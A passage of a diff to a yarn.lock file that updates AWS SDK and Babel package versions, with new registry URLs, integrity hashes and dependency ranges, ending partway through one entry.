-  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.796.0.tgz#80149d7f9034d41d35de88d96a6b73c1cb06413b"
-  integrity sha512-IeNg+3jNWT37J45opi5Jx89hGF0lOnZjiNwlMp3rKq7PlOqy8kWq5J1Gxk0W3tIkPpuf68CtBs/QFrRXWOjsZw==
+"@aws-sdk/middleware-user-agent@3.816.0":
+  version "3.816.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.816.0.tgz#6eb00bbcb44304ff9df53dbb53dc072638831760"
+  integrity sha512-bHRSlWZ0xDsFR8E2FwDb//0Ff6wMkVx4O+UKsfyNlAbtqCiiHRt5ANNfKPafr95cN2CCxLxiPvFTFVblQM5TsQ==
   dependencies:
-    "@aws-sdk/core" "3.796.0"
-    "@aws-sdk/types" "3.775.0"
-    "@aws-sdk/util-endpoints" "3.787.0"
-    "@smithy/core" "^3.2.0"
+    "@aws-sdk/core" "3.816.0"
+    "@aws-sdk/types" "3.804.0"
+    "@aws-sdk/util-endpoints" "3.808.0"
+    "@smithy/core" "^3.3.3"
     "@smithy/protocol-http" "^5.1.0"
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
-"@aws-sdk/nested-clients@3.796.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/nested-clients/-/nested-clients-3.796.0.tgz#f13f3bd87b923561348394ac6a9010d74334cb7c"
-  integrity sha512-jJ8a0ldWtXh/ice7nldUjTqja7KYlSYk1pwfIIvJLIqEn2SvQHK/pyCINTmmOmFAWXMKBQBeWUMxo1pPYNytzQ==
+"@aws-sdk/nested-clients@3.817.0":
+  version "3.817.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/nested-clients/-/nested-clients-3.817.0.tgz#4df7ff486cb918fa567bd29581452eeac7c05055"
+  integrity sha512-vQ2E06A48STJFssueJQgxYD8lh1iGJoLJnHdshRDWOQb8gy1wVQR+a7MkPGhGR6lGoS0SCnF/Qp6CZhnwLsqsQ==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
-    "@aws-sdk/core" "3.796.0"
-    "@aws-sdk/middleware-host-header" "3.775.0"
-    "@aws-sdk/middleware-logger" "3.775.0"
-    "@aws-sdk/middleware-recursion-detection" "3.775.0"
-    "@aws-sdk/middleware-user-agent" "3.796.0"
-    "@aws-sdk/region-config-resolver" "3.775.0"
-    "@aws-sdk/types" "3.775.0"
-    "@aws-sdk/util-endpoints" "3.787.0"
-    "@aws-sdk/util-user-agent-browser" "3.775.0"
-    "@aws-sdk/util-user-agent-node" "3.796.0"
-    "@smithy/config-resolver" "^4.1.0"
-    "@smithy/core" "^3.2.0"
+    "@aws-sdk/core" "3.816.0"
+    "@aws-sdk/middleware-host-header" "3.804.0"
+    "@aws-sdk/middleware-logger" "3.804.0"
+    "@aws-sdk/middleware-recursion-detection" "3.804.0"
+    "@aws-sdk/middleware-user-agent" "3.816.0"
+    "@aws-sdk/region-config-resolver" "3.808.0"
+    "@aws-sdk/types" "3.804.0"
+    "@aws-sdk/util-endpoints" "3.808.0"
+    "@aws-sdk/util-user-agent-browser" "3.804.0"
+    "@aws-sdk/util-user-agent-node" "3.816.0"
+    "@smithy/config-resolver" "^4.1.2"
+    "@smithy/core" "^3.3.3"
     "@smithy/fetch-http-handler" "^5.0.2"
     "@smithy/hash-node" "^4.0.2"
     "@smithy/invalid-dependency" "^4.0.2"
     "@smithy/middleware-content-length" "^4.0.2"
-    "@smithy/middleware-endpoint" "^4.1.0"
-    "@smithy/middleware-retry" "^4.1.0"
-    "@smithy/middleware-serde" "^4.0.3"
+    "@smithy/middleware-endpoint" "^4.1.6"
+    "@smithy/middleware-retry" "^4.1.7"
+    "@smithy/middleware-serde" "^4.0.5"
     "@smithy/middleware-stack" "^4.0.2"
-    "@smithy/node-config-provider" "^4.0.2"
+    "@smithy/node-config-provider" "^4.1.1"
     "@smithy/node-http-handler" "^4.0.4"
     "@smithy/protocol-http" "^5.1.0"
-    "@smithy/smithy-client" "^4.2.0"
+    "@smithy/smithy-client" "^4.2.6"
     "@smithy/types" "^4.2.0"
     "@smithy/url-parser" "^4.0.2"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
     "@smithy/util-body-length-node" "^4.0.0"
-    "@smithy/util-defaults-mode-browser" "^4.0.8"
-    "@smithy/util-defaults-mode-node" "^4.0.8"
-    "@smithy/util-endpoints" "^3.0.2"
+    "@smithy/util-defaults-mode-browser" "^4.0.14"
+    "@smithy/util-defaults-mode-node" "^4.0.14"
+    "@smithy/util-endpoints" "^3.0.4"
     "@smithy/util-middleware" "^4.0.2"
-    "@smithy/util-retry" "^4.0.2"
+    "@smithy/util-retry" "^4.0.3"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/region-config-resolver@3.775.0":
-  version "3.775.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/region-config-resolver/-/region-config-resolver-3.775.0.tgz#592b52498e68501fe46480be3dfb185e949d1eab"
-  integrity sha512-40iH3LJjrQS3LKUJAl7Wj0bln7RFPEvUYKFxtP8a+oKFDO0F65F52xZxIJbPn6sHkxWDAnZlGgdjZXM3p2g5wQ==
+"@aws-sdk/region-config-resolver@3.808.0":
+  version "3.808.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/region-config-resolver/-/region-config-resolver-3.808.0.tgz#76b037215c39b01361b9c34b7205f0b52513607c"
+  integrity sha512-9x2QWfphkARZY5OGkl9dJxZlSlYM2l5inFeo2bKntGuwg4A4YUe5h7d5yJ6sZbam9h43eBrkOdumx03DAkQF9A==
   dependencies:
-    "@aws-sdk/types" "3.775.0"
-    "@smithy/node-config-provider" "^4.0.2"
+    "@aws-sdk/types" "3.804.0"
+    "@smithy/node-config-provider" "^4.1.1"
     "@smithy/types" "^4.2.0"
     "@smithy/util-config-provider" "^4.0.0"
     "@smithy/util-middleware" "^4.0.2"
     tslib "^2.6.2"
 
-"@aws-sdk/token-providers@3.796.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/token-providers/-/token-providers-3.796.0.tgz#c31f1d522a1df01ecf3780e72de67d2fc0c8787b"
-  integrity sha512-Sxr/EqJBxOwLsXHv8C91N/Aao8Rgjn5bcpzplrTZ7wrfDrzqQfSCvjh7apCxdLYMKPBV+an75blCAd7JD4/bAg==
+"@aws-sdk/token-providers@3.817.0":
+  version "3.817.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/token-providers/-/token-providers-3.817.0.tgz#138a0b4aac9ddbd16c7244a8a0618334804572c1"
+  integrity sha512-CYN4/UO0VaqyHf46ogZzNrVX7jI3/CfiuktwKlwtpKA6hjf2+ivfgHSKzPpgPBcSEfiibA/26EeLuMnB6cpSrQ==
   dependencies:
-    "@aws-sdk/nested-clients" "3.796.0"
-    "@aws-sdk/types" "3.775.0"
+    "@aws-sdk/core" "3.816.0"
+    "@aws-sdk/nested-clients" "3.817.0"
+    "@aws-sdk/types" "3.804.0"
     "@smithy/property-provider" "^4.0.2"
     "@smithy/shared-ini-file-loader" "^4.0.2"
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
-"@aws-sdk/types@3.775.0", "@aws-sdk/types@^3.222.0":
-  version "3.775.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/types/-/types-3.775.0.tgz#09863a9e68c080947db7c3d226d1c56b8f0f5150"
-  integrity sha512-ZoGKwa4C9fC9Av6bdfqcW6Ix5ot05F/S4VxWR2nHuMv7hzfmAjTOcUiWT7UR4hM/U0whf84VhDtXN/DWAk52KA==
+"@aws-sdk/types@3.804.0", "@aws-sdk/types@^3.222.0":
+  version "3.804.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/types/-/types-3.804.0.tgz#b70a734fa721450cf8a513cec0c276001a5d154f"
+  integrity sha512-A9qnsy9zQ8G89vrPPlNG9d1d8QcKRGqJKqwyGgS0dclJpwy6d1EWgQLIolKPl6vcFpLoe6avLOLxr+h8ur5wpg==
   dependencies:
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
-"@aws-sdk/util-endpoints@3.787.0":
-  version "3.787.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-endpoints/-/util-endpoints-3.787.0.tgz#1398f0bd87f19e615ae920c73e16d9d5e5cb76d1"
-  integrity sha512-fd3zkiOkwnbdbN0Xp9TsP5SWrmv0SpT70YEdbb8wAj2DWQwiCmFszaSs+YCvhoCdmlR3Wl9Spu0pGpSAGKeYvQ==
+"@aws-sdk/util-endpoints@3.808.0":
+  version "3.808.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-endpoints/-/util-endpoints-3.808.0.tgz#a3d269c4d5a6536d6387ba3cd66876f5b52ce913"
+  integrity sha512-N6Lic98uc4ADB7fLWlzx+1uVnq04VgVjngZvwHoujcRg9YDhIg9dUDiTzD5VZv13g1BrPYmvYP1HhsildpGV6w==
   dependencies:
-    "@aws-sdk/types" "3.775.0"
+    "@aws-sdk/types" "3.804.0"
     "@smithy/types" "^4.2.0"
-    "@smithy/util-endpoints" "^3.0.2"
+    "@smithy/util-endpoints" "^3.0.4"
     tslib "^2.6.2"
 
 "@aws-sdk/util-locate-window@^3.0.0":
-  version "3.723.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-locate-window/-/util-locate-window-3.723.0.tgz#174551bfdd2eb36d3c16e7023fd7e7ee96ad0fa9"
-  integrity sha512-Yf2CS10BqK688DRsrKI/EO6B8ff5J86NXe4C+VCysK7UOgN0l1zOTeTukZ3H8Q9tYYX3oaF1961o8vRkFm7Nmw==
+  version "3.804.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-locate-window/-/util-locate-window-3.804.0.tgz#a2ee8dc5d9c98276986e8e1ba03c0c84d9afb0f5"
+  integrity sha512-zVoRfpmBVPodYlnMjgVjfGoEZagyRF5IPn3Uo6ZvOZp24chnW/FRstH7ESDHDDRga4z3V+ElUQHKpFDXWyBW5A==
   dependencies:
     tslib "^2.6.2"
 
-"@aws-sdk/util-user-agent-browser@3.775.0":
-  version "3.775.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.775.0.tgz#b69a1a5548ccc6db1acb3ec115967593ece927a1"
-  integrity sha512-txw2wkiJmZKVdDbscK7VBK+u+TJnRtlUjRTLei+elZg2ADhpQxfVAQl436FUeIv6AhB/oRHW6/K/EAGXUSWi0A==
+"@aws-sdk/util-user-agent-browser@3.804.0":
+  version "3.804.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.804.0.tgz#0312fda0fd34958a1d89e7691c5b1cf41ad5549b"
+  integrity sha512-KfW6T6nQHHM/vZBBdGn6fMyG/MgX5lq82TDdX4HRQRRuHKLgBWGpKXqqvBwqIaCdXwWHgDrg2VQups6GqOWW2A==
   dependencies:
-    "@aws-sdk/types" "3.775.0"
+    "@aws-sdk/types" "3.804.0"
     "@smithy/types" "^4.2.0"
     bowser "^2.11.0"
     tslib "^2.6.2"
 
-"@aws-sdk/util-user-agent-node@3.796.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.796.0.tgz#72c2ea1f32d2eb1200e111f48fd8a3c005f5202c"
-  integrity sha512-9fQpNcHgVFitf1tbTT8V1xGRoRHSmOAWjrhevo6Tc0WoINMAKz+4JNqfVGWRE5Tmtpq0oHKo1RmvxXQQtJYciA==
+"@aws-sdk/util-user-agent-node@3.816.0":
+  version "3.816.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.816.0.tgz#c752f9bc37a973f82841c84b864e362f8ad28f68"
+  integrity sha512-Q6dxmuj4hL7pudhrneWEQ7yVHIQRBFr0wqKLF1opwOi1cIePuoEbPyJ2jkel6PDEv1YMfvsAKaRshp6eNA8VHg==
   dependencies:
-    "@aws-sdk/middleware-user-agent" "3.796.0"
-    "@aws-sdk/types" "3.775.0"
-    "@smithy/node-config-provider" "^4.0.2"
+    "@aws-sdk/middleware-user-agent" "3.816.0"
+    "@aws-sdk/types" "3.804.0"
+    "@smithy/node-config-provider" "^4.1.1"
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
 "@babel/cli@^7.16.0":
-  version "7.27.0"
-  resolved "https://registry.yarnpkg.com/@babel/cli/-/cli-7.27.0.tgz#076603b25fc7dd88298ea94ab249c8237c7e71cc"
-  integrity sha512-bZfxn8DRxwiVzDO5CEeV+7IqXeCkzI4yYnrQbpwjT76CUyossQc6RYE7n+xfm0/2k40lPaCpW0FhxYs7EBAetw==
+  version "7.27.2"
+  resolved "https://registry.yarnpkg.com/@babel/cli/-/cli-7.27.2.tgz#d54560567a73a269b31d3201bedb70692ace8684"
+  integrity sha512-cfd7DnGlhH6OIyuPSSj3vcfIdnbXukhAyKY8NaZrFadC7pXyL9mOL5WgjcptiEJLi5k3j8aYvLIVCzezrWTaiA==
   dependencies:
     "@jridgewell/trace-mapping" "^0.3.25"
     commander "^6.2.0"
@@ -464,156 +465,156 @@
     "@nicolo-ribaudo/chokidar-2" "2.1.8-no-fsevents.3"
     chokidar "^3.6.0"
 
-"@babel/code-frame@^7.26.2":
-  version "7.26.2"
-  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.26.2.tgz#4b5fab97d33338eff916235055f0ebc21e573a85"
-  integrity sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==
+"@babel/code-frame@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.27.1.tgz#200f715e66d52a23b221a9435534a91cc13ad5be"
+  integrity sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==
   dependencies:
-    "@babel/helper-validator-identifier" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.27.1"
     js-tokens "^4.0.0"
-    picocolors "^1.0.0"
+    picocolors "^1.1.1"
 
-"@babel/compat-data@^7.26.8":
-  version "7.26.8"
-  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.26.8.tgz#821c1d35641c355284d4a870b8a4a7b0c141e367"
-  integrity sha512-oH5UPLMWR3L2wEFLnFJ1TZXqHufiTKAiLfqw5zkhS4dKXLJ10yVztfil/twG8EDTA4F/tvVNw9nOl4ZMslB8rQ==
+"@babel/compat-data@^7.27.2":
+  version "7.27.3"
+  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.27.3.tgz#cc49c2ac222d69b889bf34c795f537c0c6311111"
+  integrity sha512-V42wFfx1ymFte+ecf6iXghnnP8kWTO+ZLXIyZq+1LAXHHvTZdVxicn4yiVYdYMGaCO3tmqub11AorKkv+iodqw==
 
 "@babel/core@^7.16.5":
-  version "7.26.10"
-  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.26.10.tgz#5c876f83c8c4dcb233ee4b670c0606f2ac3000f9"
-  integrity sha512-vMqyb7XCDMPvJFFOaT9kxtiRh42GwlZEg1/uIgtZshS5a/8OaduUfCi7kynKgc3Tw/6Uo2D+db9qBttghhmxwQ==
+  version "7.27.3"
+  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.27.3.tgz#d7d05502bccede3cab36373ed142e6a1df554c2f"
+  integrity sha512-hyrN8ivxfvJ4i0fIJuV4EOlV0WDMz5Ui4StRTgVaAvWeiRCilXgwVvxJKtFQ3TKtHgJscB2YiXKGNJuVwhQMtA==
   dependencies:
     "@ampproject/remapping" "^2.2.0"
-    "@babel/code-frame" "^7.26.2"
-    "@babel/generator" "^7.26.10"
-    "@babel/helper-compilation-targets" "^7.26.5"
-    "@babel/helper-module-transforms" "^7.26.0"
-    "@babel/helpers" "^7.26.10"
-    "@babel/parser" "^7.26.10"
-    "@babel/template" "^7.26.9"
-    "@babel/traverse" "^7.26.10"
-    "@babel/types" "^7.26.10"
+    "@babel/code-frame" "^7.27.1"
+    "@babel/generator" "^7.27.3"
+    "@babel/helper-compilation-targets" "^7.27.2"
+    "@babel/helper-module-transforms" "^7.27.3"
+    "@babel/helpers" "^7.27.3"
+    "@babel/parser" "^7.27.3"
+    "@babel/template" "^7.27.2"
+    "@babel/traverse" "^7.27.3"
+    "@babel/types" "^7.27.3"
     convert-source-map "^2.0.0"
     debug "^4.1.0"
     gensync "^1.0.0-beta.2"
     json5 "^2.2.3"
     semver "^6.3.1"
 
-"@babel/generator@^7.26.10", "@babel/generator@^7.27.0", "@babel/generator@^7.4.0":
-  version "7.27.0"
-  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.27.0.tgz#764382b5392e5b9aff93cadb190d0745866cbc2c"
-  integrity sha512-VybsKvpiN1gU1sdMZIp7FcqphVVKEwcuj02x73uvcHE0PTihx1nlBcowYWhDwjpoAXRv43+gDzyggGnn1XZhVw==
+"@babel/generator@^7.27.3", "@babel/generator@^7.4.0":
+  version "7.27.3"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.27.3.tgz#ef1c0f7cfe3b5fc8cbb9f6cc69f93441a68edefc"
+  integrity sha512-xnlJYj5zepml8NXtjkG0WquFUv8RskFqyFcVgTBp5k+NaA/8uw/K+OSVf8AMGw5e9HKP2ETd5xpK5MLZQD6b4Q==
   dependencies:
-    "@babel/parser" "^7.27.0"
-    "@babel/types" "^7.27.0"
+    "@babel/parser" "^7.27.3"
+    "@babel/types" "^7.27.3"
     "@jridgewell/gen-mapping" "^0.3.5"
     "@jridgewell/trace-mapping" "^0.3.25"
     jsesc "^3.0.2"
 
-"@babel/helper-annotate-as-pure@^7.25.9":
-  version "7.25.9"
-  resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.25.9.tgz#d8eac4d2dc0d7b6e11fa6e535332e0d3184f06b4"
-  integrity sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g==
+"@babel/helper-annotate-as-pure@^7.27.1":
+  version "7.27.3"
+  resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.27.3.tgz#f31fd86b915fc4daf1f3ac6976c59be7084ed9c5"
+  integrity sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg==
   dependencies:
-    "@babel/types" "^7.25.9"
+    "@babel/types" "^7.27.3"
 
-"@babel/helper-compilation-targets@^7.26.5":
-  version "7.27.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.0.tgz#de0c753b1cd1d9ab55d473c5a5cf7170f0a81880"
-  integrity sha512-LVk7fbXml0H2xH34dFzKQ7TDZ2G4/rVTOrq9V+icbbadjbVxxeFeDsNHv2SrZeWoA+6ZiTyWYWtScEIW07EAcA==
+"@babel/helper-compilation-targets@^7.27.2":
+  version "7.27.2"
+  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz#46a0f6efab808d51d29ce96858dd10ce8732733d"
+  integrity sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==
   dependencies:
-    "@babel/compat-data" "^7.26.8"
-    "@babel/helper-validator-option" "^7.25.9"
+    "@babel/compat-data" "^7.27.2"
+    "@babel/helper-validator-option" "^7.27.1"
     browserslist "^4.24.0"
     lru-cache "^5.1.1"
     semver "^6.3.1"
 
-"@babel/helper-module-imports@^7.25.9":
-  version "7.25.9"
-  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.25.9.tgz#e7f8d20602ebdbf9ebbea0a0751fb0f2a4141715"
-  integrity sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==
+"@babel/helper-module-imports@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz#7ef769a323e2655e126673bb6d2d6913bbead204"
+  integrity sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==
   dependencies:
-    "@babel/traverse" "^7.25.9"
-    "@babel/types" "^7.25.9"
+    "@babel/traverse" "^7.27.1"
+    "@babel/types" "^7.27.1"
 
-"@babel/helper-module-transforms@^7.26.0":
-  version "7.26.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.26.0.tgz#8ce54ec9d592695e58d84cd884b7b5c6a2fdeeae"
-  integrity sha512-xO+xu6B5K2czEnQye6BHA7DolFFmS3LB7stHZFaOLb1pAwO1HWLS8fXA+eh0A2yIvltPVmx3eNNDBJA2SLHXFw==
+"@babel/helper-module-transforms@^7.27.3":
+  version "7.27.3"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.27.3.tgz#db0bbcfba5802f9ef7870705a7ef8788508ede02"
+  integrity sha512-dSOvYwvyLsWBeIRyOeHXp5vPj5l1I011r52FM1+r1jCERv+aFXYk4whgQccYEGYxK2H3ZAIA8nuPkQ0HaUo3qg==
   dependencies:
-    "@babel/helper-module-imports" "^7.25.9"
-    "@babel/helper-validator-identifier" "^7.25.9"
-    "@babel/traverse" "^7.25.9"
+    "@babel/helper-module-imports" "^7.27.1"
+    "@babel/helper-validator-identifier" "^7.27.1"
+    "@babel/traverse" "^7.27.3"
 
-"@babel/helper-plugin-utils@^7.25.9":
-  version "7.26.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.26.5.tgz#18580d00c9934117ad719392c4f6585c9333cc35"
-  integrity sha512-RS+jZcRdZdRFzMyr+wcsaqOmld1/EqTghfaBGQQd/WnRdzdlvSZ//kF7U8VQTxf1ynZ4cjUcYgjVGx13ewNPMg==
+"@babel/helper-plugin-utils@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz#ddb2f876534ff8013e6c2b299bf4d39b3c51d44c"
+  integrity sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==
 
-"@babel/helper-string-parser@^7.25.9":
-  version "7.25.9"
-  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz#1aabb72ee72ed35789b4bbcad3ca2862ce614e8c"
-  integrity sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==
+"@babel/helper-string-parser@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz#54da796097ab19ce67ed9f88b47bb2ec49367687"
+  integrity sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==
 
-"@babel/helper-validator-identifier@^7.25.9":
-  version "7.25.9"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz#24b64e2c3ec7cd3b3c547729b8d16871f22cbdc7"
-  integrity sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==
+"@babel/helper-validator-identifier@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz#a7054dcc145a967dd4dc8fee845a57c1316c9df8"
+  integrity sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==
 
-"@babel/helper-validator-option@^7.25.9":
-  version "7.25.9"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.25.9.tgz#86e45bd8a49ab7e03f276577f96179653d41da72"
-  integrity sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==
+"@babel/helper-validator-option@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz#fa52f5b1e7db1ab049445b421c4471303897702f"
+  integrity sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==
 
-"@babel/helpers@^7.26.10":
-  version "7.27.0"
-  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.27.0.tgz#53d156098defa8243eab0f32fa17589075a1b808"
-  integrity sha512-U5eyP/CTFPuNE3qk+WZMxFkp/4zUzdceQlfzf7DdGdhp+Fezd7HD+i8Y24ZuTMKX3wQBld449jijbGq6OdGNQg==
+"@babel/helpers@^7.27.3":
+  version "7.27.3"
+  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.27.3.tgz#387d65d279290e22fe7a47a8ffcd2d0c0184edd0"
+  integrity sha512-h/eKy9agOya1IGuLaZ9tEUgz+uIRXcbtOhRtUyyMf8JFmn1iT13vnl/IGVWSkdOCG/pC57U4S1jnAabAavTMwg==
   dependencies:
-    "@babel/template" "^7.27.0"
-    "@babel/types" "^7.27.0"
+    "@babel/template" "^7.27.2"
+    "@babel/types" "^7.27.3"
 
 "@babel/node@^7.16.5":
-  version "7.26.0"
-  resolved "https://registry.yarnpkg.com/@babel/node/-/node-7.26.0.tgz#4b126f4eb56a05a97990a650fae0a24ad9b0c583"
-  integrity sha512-5ASMjh42hbnqyCOK68Q5chh1jKAqn91IswFTN+niwt4FLABhEWCT1tEuuo6mlNQ4WG/oFQLvJ71PaHAKtWtJyA==
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/node/-/node-7.27.1.tgz#6d213576428430368b2c3561e2659bc3991d5ce0"
+  integrity sha512-ef8ZrhxIku9LrphvyNywpiMf1UJsYQll7S4eKa228ivswPcwmObp98o5h5wL2n9FrSAuo1dsMwJ8cS1LEcBSog==
   dependencies:
-    "@babel/register" "^7.25.9"
+    "@babel/register" "^7.27.1"
     commander "^6.2.0"
     core-js "^3.30.2"
     node-environment-flags "^1.0.5"
     regenerator-runtime "^0.14.0"
     v8flags "^3.1.1"
 
-"@babel/parser@^7.26.10", "@babel/parser@^7.27.0", "@babel/parser@^7.4.3":
-  version "7.27.0"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.27.0.tgz#3d7d6ee268e41d2600091cbd4e145ffee85a44ec"
-  integrity sha512-iaepho73/2Pz7w2eMS0Q5f83+0RKI7i4xmiYeBmDzfRVbQtTOG7Ts0S4HzJVsTMGI9keU8rNfuZr8DKfSt7Yyg==
+"@babel/parser@^7.27.2", "@babel/parser@^7.27.3", "@babel/parser@^7.4.3":
+  version "7.27.3"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.27.3.tgz#1b7533f0d908ad2ac545c4d05cbe2fb6dc8cfaaf"
+  integrity sha512-xyYxRj6+tLNDTWi0KCBcZ9V7yg3/lwL9DWh9Uwh/RIVlIfFidggcgxKX3GCXwCiswwcGRawBKbEg2LG/Y8eJhw==
   dependencies:
-    "@babel/types" "^7.27.0"
+    "@babel/types" "^7.27.3"
 
-"@babel/plugin-syntax-jsx@^7.25.9":
-  version "7.25.9"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.25.9.tgz#a34313a178ea56f1951599b929c1ceacee719290"
-  integrity sha512-ld6oezHQMZsZfp6pWtbjaNDF2tiiCYYDqQszHt5VV437lewP9aSi2Of99CK0D0XB21k7FLgnLcmQKyKzynfeAA==
+"@babel/plugin-syntax-jsx@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.27.1.tgz#2f9beb5eff30fa507c5532d107daac7b888fa34c"
+  integrity sha512-y8YTNIeKoyhGd9O0Jiyzyyqk8gdjnumGTQPsz0xOZOQ2RmkVJeZ1vmmfIvFEKqucBG6axJGBZDE/7iI5suUI/w==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.27.1"
 
 "@babel/plugin-transform-react-jsx@^7.16.5":
-  version "7.25.9"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.25.9.tgz#06367940d8325b36edff5e2b9cbe782947ca4166"
